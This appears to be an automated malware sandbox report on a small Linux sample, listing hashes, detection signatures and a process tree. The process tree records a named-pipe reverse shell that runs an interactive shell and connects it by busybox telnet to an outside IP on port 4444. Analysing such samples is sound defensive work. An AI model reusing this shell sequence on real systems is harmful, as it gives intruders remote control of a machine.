Analysis

  • max time kernel
    0s
  • max time network
    129s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    23/07/2026, 06:32

General

  • Target
    s
  • Size 357B
  • Sample260723-hal8vahe83
  • SHA256 752894233bc3d36b1638d8bcc66eb31f1ca240bf7b2e7390b63f360b3ccdf4d3
  • MD5 SHA1 SHA512 TLSH
Score
3/10

Malware Config

Signatures

  • Reads runtime system information 3 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/s
    /tmp/s
    1⤵
    • Writes file to tmp directory
    PID:1499
    • /bin/mount
      mount -t devpts devpts /dev/pts
      2⤵
      • Reads runtime system information
      PID:1500
    • /bin/mount
      mount -t tmpfs tmpfs /dev/shm
      2⤵
      • Reads runtime system information
      PID:1501
    • /bin/rm
      rm -f /tmp/f
      2⤵
        PID:1502
      • /usr/bin/mkfifo
        mkfifo /tmp/f
        2⤵
        • Reads runtime system information
        PID:1503
      • /bin/sh
        /bin/sh -i
        2⤵
          PID:1504
        • /bin/sleep
          sleep 999
          2⤵
            PID:1506
          • /bin/busybox
            /bin/busybox telnet 209.38.118.65 4444
            2⤵
              PID:1505

          Network

                MITRE ATT&CK Matrix

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                td.err

                • Path /tmp/td.err
                • Size 38B
                • SHA256 4980a744b817aa28bed0014c05521da04cbe0c26b79a0fc115815641bc4a6119
                • MD5 SHA1 SHA512